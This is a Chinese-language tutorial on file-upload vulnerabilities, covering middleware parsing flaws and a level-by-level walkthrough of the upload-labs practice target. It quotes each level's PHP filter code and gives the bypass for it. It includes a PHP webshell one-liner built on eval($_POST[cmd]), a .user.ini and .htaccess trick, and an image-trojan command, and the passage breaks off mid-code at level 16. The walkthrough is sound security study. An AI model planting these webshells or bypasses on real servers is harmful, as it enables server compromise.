0x00 漏洞原理與危害
網(wǎng)站web應(yīng)用程序都有一些文件上傳功能谒亦,比如文檔竭宰、圖片空郊、頭像、視頻上傳切揭,當(dāng)上傳功能的實(shí)現(xiàn)代碼沒(méi)有嚴(yán)格校驗(yàn)上傳文件的后綴和文件類型時(shí)狞甚,就可以上傳任意文件甚至是執(zhí)行文件后門(mén)。
惡意文件傳遞給解釋器去執(zhí)行廓旬,之后就可以再服務(wù)器上執(zhí)行惡意代碼哼审,進(jìn)行數(shù)據(jù)庫(kù)執(zhí)行、服務(wù)器文件管理孕豹,服務(wù)器命令執(zhí)行等惡意操作涩盾。根據(jù)網(wǎng)站使用及可解析的程序腳本不同,可以上傳的惡意腳本可以是PHP励背、ASP春霍、JSP、ASPX文件等椅野。
0x01 常見(jiàn)上傳點(diǎn)及繞過(guò)
頭像
相冊(cè)
附件
添加文章圖片
前臺(tái)留言資料上傳
編輯器文件上傳
...
后綴繞過(guò)
PHP:
/ph(p[2-7]?|t(ml)?)/的后綴终畅,如php2、php3竟闪、php5离福、php7、phtml炼蛤、pht妖爷、shtml、phtm(是否解析需要根據(jù)配置文件中設(shè)置類型類決定)
ASP:
asa理朋、cer絮识、cdx、asp{80-90}
ASPX:
ascx嗽上、asax次舌、ashx、asac兽愤、asmx
JSP:
jsp彼念、jspx、jspf浅萧、jspa逐沙、jsw、jsv洼畅、jtml
繞過(guò)類型
Content-Type繞過(guò)
前端繞過(guò)
文件解析規(guī)則繞過(guò)
Windows環(huán)境特性繞過(guò)
文件名大小寫(xiě)繞過(guò)
雙寫(xiě)繞過(guò)
點(diǎn)空格繞過(guò)
文件頭繞過(guò)
條件競(jìng)爭(zhēng)繞過(guò)
......
0x02 中間件解析漏洞
1吩案、 Apache解析漏洞
1.1) 未知后綴
特性:Apache對(duì)于文件名的解析是從后面往前解析的,直到遇見(jiàn)一個(gè)Apache認(rèn)識(shí)的文件類型未知帝簇。
phpshell.php.rar.abc.xxx
Apache不認(rèn)識(shí)xxx徘郭、abc靠益、rar依次從右往左解析,直到遍歷到.php崎岂。
文件類型定義在Apache的mime.types文件中捆毫。
防御方法:在配置文件httpd.conf或httpd-vhosts.conf中加入
<FileMatch ".+\.ph(p[3457]?|t|tml)\.">
Require all denied
</FileMatch>
1.2) CVE-2017-15715(LINUX環(huán)境下)
Apache 2.4.0-2.4.29使用了如下的配置
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
原理:可以注意到$
這個(gè)解析漏洞的根本原因就是這個(gè)$
。如果我們此時(shí)有個(gè)文件后綴名為:.php\n
冲甘,Apache是會(huì)將其作為php文件進(jìn)行解析绩卤。
利用Burp的HEX功能在1.php后面添加一個(gè)\x0A,然后訪問(wèn)/1.php%0A江醇。
2濒憋、IIS 5.x/6.0解析漏洞
2.1) 目錄解析
在網(wǎng)站下建立文件夾的名稱中帶有.asp、.asa等可執(zhí)行腳本文件后綴為后綴的文件夾陶夜,其目錄內(nèi)的任何擴(kuò)展名的文件都被IIS當(dāng)作可執(zhí)行文件來(lái)解析并執(zhí)行凛驮。這是由于處理文件夾擴(kuò)展名出錯(cuò),導(dǎo)致將/*.asp/目錄下的所有文件都作為asp文件進(jìn)行解析条辟。
原因: ii6.0的服務(wù)器開(kāi)啟Active Server Pages服務(wù)拓展
http://www.xxx.com/xx.asp/xx.jpg
2.2) 文件解析
在IIS和Windows環(huán)境下曾經(jīng)出現(xiàn)過(guò)以分號(hào)";"為截?cái)嘧址穆┒础?/p>
原因: ii6.0的服務(wù)器開(kāi)啟Active Server Pages服務(wù)拓展
http://www.xxx.com/xx.asp;xx.jpg
2.3) IIS PUT
PUT是在WebDav中定義的一個(gè)方法黔夭。WebDav大大擴(kuò)展了HTTP協(xié)議中的GET、POST羽嫡、HEAD等功能本姥,它所包含的PUT方法,允許用戶上傳文件到直定的路勁下杭棵。
開(kāi)啟WebDav之后婚惫,IIS就支持PROPFIND、PROPPATCH魂爪、MKCOL先舷、DELETE、PUT滓侍、COPY蒋川、MOVE、LOCK撩笆、UNLOCK等方法了尔破。我們的攻擊手段采用:
1:通過(guò)options探測(cè)服務(wù)器信息(IIS PUT SCANER進(jìn)行探測(cè),還可以利用iiswrite工具進(jìn)行漏洞利用)
2:上傳文本文件
3:通過(guò)MOVE改名(MOVE能否執(zhí)行成功浇衬,取決于IIS服務(wù)器是否勾選了“腳本資源訪問(wèn)”的復(fù)選框)(IIS6.0 默認(rèn)的可執(zhí)行文件除了asp還包含這三種 *.asa *.cer *.cdx)
3、IIS 7.0/7.5解析漏洞
3.1) 畸形解析漏洞
原理:默認(rèn)fast-cgi開(kāi)啟狀況下餐济,在一個(gè)文件路勁后面加上/xx.php會(huì)將原來(lái)的文件解析為php文件耘擂。
條件:1)php.ini里cgi.fix_pathinfo=1(默認(rèn)為1);2)在"Handler Mapping"中取消勾選"Invoke handler only if request is mapped to"
上傳test.jpg
http://www.xxx.com/test.jpg/xx.php
4絮姆、Nginx解析漏洞
4.1) 畸形解析漏洞
這和IIS 7.5的一樣醉冤,php.ini里cgi.fix_pathinfo=1(默認(rèn)為1)秩霍。
http://www.xxx.com/test.jpg/xx.php
原因:這個(gè)漏洞形成的原因是在fastcgi方式下,PHP獲取環(huán)境變量的方式有關(guān)蚁阳。
配合寫(xiě)入馬上傳:
原理:1)網(wǎng)站允許上傳任意文件铃绒,然后檢查上傳文件是否包括webshell,如果包含則刪除該文件螺捐;2)網(wǎng)站允許上傳任意文件颠悬,但是如果不是指定類型,那么使用unlink刪除文件定血。
也就是說(shuō)在刪除之前就執(zhí)行了上傳文件中的php代碼赔癌。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后訪問(wèn)test.jpg/.php就會(huì)在當(dāng)前目錄下生成一句話木馬shell.php,密碼為cmd澜沟。
4.2) Nginx<8.03 空字節(jié)代碼執(zhí)行漏洞
Fast-CGI關(guān)閉的情況下灾票,仍存在解析漏洞。
影響范圍:Nginx 0.5.,0.6.,0.7<=0.7.65,0.8<=0.8.37
http://www.xxx.com/xxx.jpg%00.php
4.3) CVE-2013-4547
影響范圍:0.8.41茫虽,1.5<=1.5.7
http://127.0.0.1/test.jpg \0.php
發(fā)送請(qǐng)求
http://www.xxx.com/test2.jpgAAAphp
使用burpsuite抓包刊苍。分別將AAA采用hex功能改為 \x20 , \x00 , \x2e
5、Tomcat 解析漏洞
限制在windows操作系統(tǒng)下濒析,其實(shí)利用的就是windows特性
xxx.jsp.
xxx.jsp/
xxx.jsp%20
xxx.jsp::$DATA
0x03 upload-labs 闖關(guān)日記
我們以 upload-labs 作為學(xué)習(xí)的靶機(jī)
Pass-01 前端檢測(cè)
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("請(qǐng)選擇要上傳的文件!");
return false;
}
//定義允許上傳的文件類型
var allow_ext = ".jpg|.png|.gif";
//提取上傳文件的類型
var ext_name = file.substring(file.lastIndexOf("."));
//判斷上傳文件類型是否允許上傳
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "該文件不允許上傳正什,請(qǐng)上傳" + allow_ext + "類型的文件,當(dāng)前文件類型為:" + ext_name;
alert(errMsg);
return false;
}
}
這是一段JS代碼,在前端進(jìn)行驗(yàn)證悼枢。我們可以采用提交.jpg文件然后抓包將文件名后綴改成.php上傳埠忘。或者noscript插件禁用JS馒索。
Pass-02 MIME檢測(cè)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)莹妒!';
}
} else {
$msg = '文件類型不正確,請(qǐng)重新上傳绰上!';
}
} else {
$msg = UPLOAD_PATH.'文件夾不存在,請(qǐng)手工創(chuàng)建旨怠!';
}
}
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
這段PHP的代碼在上傳文件的類型上做了檢測(cè),MIME檢測(cè)蜈块,抓包修改其Content-Type
Pass-03 過(guò)濾不嚴(yán)繞過(guò)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)鉴腻!';
}
} else {
$msg = '不允許上傳.asp,.aspx,.php,.jsp后綴文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建百揭!';
}
}
$deny_ext = array('.asp','.aspx','.php','.jsp');
if(!in_array($file_ext, $deny_ext))
這里是黑名單檢測(cè)爽哎,我們可以嘗試php3、php5等來(lái)嘗試?yán)@過(guò)
Pass-04 .htaccess
繞過(guò)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)器一!';
}
} else {
$msg = '此文件不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建课锌!';
}
}
這也是黑名單檢測(cè),但過(guò)濾的很?chē)?yán)格。不過(guò)并沒(méi)有過(guò)濾.htaccess渺贤。.htaccess是偽靜態(tài)環(huán)境配置文件
.htaccess文件雏胃,其內(nèi)容為
<FilesMatch "pinos">
SetHandler application/x-httpd-php
</FilesMatch>
其將pino解析為php文件
或
這里是將所有文件解析為.php文件
再上傳一個(gè)允許的后綴名文件,就可以解析
最開(kāi)始我在linux環(huán)境下志鞍,始終解析不了瞭亮。
百度以后,支持.htaccess解析(只支持apache)固棚,apache 需要配置httpd.conf统翩,然后重啟
Options FollowSymLinks
AllowOverride None
改為:
Options FollowSymLinks
AllowOverride All
Pass-05 .user.ini
繞過(guò)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)!';
}
} else {
$msg = '此文件類型不允許上傳玻孟!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建唆缴!';
}
}
這里把.htaccess的后綴也過(guò)濾了。我們這里可以嘗試下user.ini上傳
利用條件:
1黍翎、服務(wù)器腳本語(yǔ)言為PHP
2面徽、服務(wù)器使用CGI/FastCGI
3、上傳目錄下要有可執(zhí)行的php文件
.user.ini實(shí)際上就是一個(gè)可以由用戶自定義的php.ini匣掸,我們能夠自定義的設(shè)置是模式為"PHP_INI_PERDIR趟紊、PHP_INI_USER"的設(shè)置。
根據(jù)hint碰酝,我們得知上傳目錄下存在readme.php
我們上傳.user.ini文件霎匈,其內(nèi)容為
GIF89a
auto_prepend_file=a.jpg
大致意思就是:我們指定一個(gè)文件(如a.jpg),那么該文件就會(huì)被包含在要執(zhí)行的php文件中(如index.php)送爸,類似于在index.php中插入一句:require(./a.jpg);
這兩個(gè)設(shè)置的區(qū)別只是在于auto_prepend_file是在文件前插入铛嘱;auto_append_file在文件最后插入(當(dāng)文件調(diào)用的有exit()
時(shí)該設(shè)置無(wú)效) ,其實(shí)質(zhì)相當(dāng)于是文件包含
在上傳a.jpg
Pass-06 大小寫(xiě)繞過(guò)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)!';
}
} else {
$msg = '此文件類型不允許上傳袭厂!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建墨吓!';
}
}
這段代碼未采用 strtolower
過(guò)濾,我們可以采用大小寫(xiě)繞過(guò)的方式
Pass-07 空格繞過(guò)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)纹磺!';
}
} else {
$msg = '此文件不允許上傳';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建帖烘!';
}
}
還是黑名單檢測(cè),這里未采用trim()函數(shù)橄杨,可以采用空繞過(guò)也就php后面加一個(gè)空格
Pass-08 中間件解析漏洞/特殊文件名繞過(guò)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)秘症!';
}
} else {
$msg = '此文件類型不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建式矫!';
}
}
我這里采用的是上傳1.php.aaa利用apache的解析漏洞
看了其他人的wp乡摹,這里未用deldot函數(shù) 刪除文件名末尾的點(diǎn) 。
采用上傳1.php.
然后利用windows特性自動(dòng)去掉后綴名中最后的.
采转,Unix/Linux系統(tǒng)沒(méi)有這個(gè)特性趟卸。
Pass-09 Windows流特性繞過(guò)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)!';
}
} else {
$msg = '此文件類型不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建锄列!';
}
}
php再windows的時(shí)候如果文件名+ ::$DATA
會(huì)把 $DATA
之后的數(shù)據(jù)當(dāng)成文件流處理,不會(huì)檢測(cè)后綴名惯悠。且保持 ::$DATA
之前的文件名邻邮。
Pass-10 綜合繞過(guò)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)!';
}
} else {
$msg = '此文件類型不允許上傳克婶!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建筒严!';
}
}
這里先經(jīng)過(guò)trim去除前后空格,再經(jīng)過(guò)deldot刪除末尾的點(diǎn)后進(jìn)行檢測(cè)弱過(guò)檢測(cè)過(guò)了直接拼接到上傳路徑上情萤。
獲取文件的擴(kuò)展名鸭蛙,轉(zhuǎn)為小寫(xiě),去除::$DATA字符串再去除首尾空格筋岛。
我們考慮構(gòu)造一個(gè) 1.php. .
上傳
后面的兩個(gè).中間有個(gè)空格
Pass-11 雙寫(xiě)繞過(guò)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)娶视!';
}
} else {
$msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建!';
}
}
$file_name = str_ireplace($deny_ext,"", $file_name);
這個(gè)函數(shù)的意思是如果上傳的文件名里如果存在deny_ext數(shù)組里的字符串就將他替換為空
我們可以想到雙寫(xiě)繞過(guò)睁宰,例如phphpp這里將php過(guò)濾后剩下php
Pass-12 %00截?cái)嗬@過(guò)
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上傳出錯(cuò)肪获!';
}
} else{
$msg = "只允許上傳.jpg|.png|.gif類型文件!";
}
}
這里是白名單檢測(cè)
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
注意看這段柒傻,有一個(gè)GET的參數(shù)save_path這里表明了孝赫,我們的上傳路徑是可控的。
我們這里采用%00截?cái)嗪旆驗(yàn)镚ET會(huì)自動(dòng)解碼青柄,在文件名繞過(guò)后,由于代碼是由路勁+xxx拼接成的预侯,由于服務(wù)器不認(rèn)識(shí)這個(gè)符號(hào)便自動(dòng)截?cái)嗔酥驴槭裁催@里是%00而有時(shí)候是0x00呢?
00截?cái)嘣矸治?/strong>
%00:在url中%00表示ascII碼中的0雌桑,而ascii中0作為特殊字符保留喇喉,表示字符串結(jié)束,所以當(dāng)url中出現(xiàn)%00時(shí)會(huì)認(rèn)為讀取已結(jié)束校坑。
例如
https://mp.csdn.net/upfiles/?filename=test.txt 此時(shí)輸出test.txt
https://mp.csdn.net/upfiles/?filename=test.php%00.text 此時(shí)輸出test.php
0x00:0x00是16進(jìn)制的00拣技,也就是%00解碼成16進(jìn)制。在burp接收到POST數(shù)據(jù)包的時(shí)候耍目,會(huì)將POST數(shù)據(jù)包中的內(nèi)容膏斤,直接進(jìn)行URL編碼了。
我們的常規(guī)操作邪驮,將 `1.php .jpg` 的空格用burp的hex功能莫辨,把0x20改為0x00
或者 `1.php%00.jpg` 中將%00進(jìn)行URL-decode
首先解釋為什么要進(jìn)行url-decode,其原因在于上傳的表單中有一個(gè)enctype的屬性,并且需要enctype="multipart/form-data" (不對(duì)表單數(shù)據(jù)進(jìn)行編碼)沮榜,path大多數(shù)都是存放在表單中的盘榨,因此需要在數(shù)據(jù)包中進(jìn)行urldecode操作使得%00變成字符串結(jié)束字符。
理解:在URL中的%00會(huì)被web服務(wù)器當(dāng)作16進(jìn)制處理蟆融,然后自動(dòng)翻譯成ascii碼實(shí)現(xiàn)截?cái)嗖菅玻欢赽urp中16進(jìn)制編輯器將空格20改成了00。本質(zhì)來(lái)說(shuō)型酥,都是利用0x00是字符串的結(jié)束標(biāo)識(shí)符山憨,進(jìn)行截?cái)唷?/p>
Pass-13 0x00截?cái)嗬@過(guò)
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上傳失敗";
}
} else {
$msg = "只允許上傳.jpg|.png|.gif類型文件!";
}
}
和上題一樣都是00截?cái)嗝趾恚@里就需要url-decode了
php 00截?cái)鄺l件
1郁竟、版本小于5.3.4
2、magic_quotes_gpc為OFF
Pass-14 文件頭檢測(cè)
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只讀2字節(jié)
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知由境,上傳失斉锬丁!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上傳出錯(cuò)藻肄!";
}
}
}
檢測(cè)文件內(nèi)容的前兩個(gè)字節(jié)蔑舞,然后使用文件包含繞過(guò)
我們這里制作圖片馬,網(wǎng)上說(shuō)也可以采用在文件內(nèi)容前加GIF89a
copy x.jpg/b+1.txt/a 1.jpg
本地環(huán)境不知道為什么嘹屯,圖片馬包含一直報(bào)錯(cuò)攻询,但是放在Linux服務(wù)器上包含能解析出來(lái)
后來(lái)我換了一張圖片,就能包含成功了
Pass-15 getimagesize繞過(guò)
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知州弟,上傳失斁堋!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上傳出錯(cuò)婆翔!";
}
}
}
這里采用的 getimagesize
這個(gè)函數(shù)是通過(guò)獲取圖片數(shù)據(jù)流中頭部幾個(gè)字節(jié)來(lái)判斷圖片類型的拯杠,這樣就為webshell注入提供了機(jī)會(huì),木馬程序只需要在頭部插入相關(guān)圖片類型幾個(gè)字節(jié)啃奴,就可以繞過(guò)getimagesize的檢測(cè)潭陪。
我們這里也可以采用圖片馬繞過(guò)。
Pass-16 exif_imagetype 繞過(guò)
function isImage($filename){
//需要開(kāi)啟php_exif模塊
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
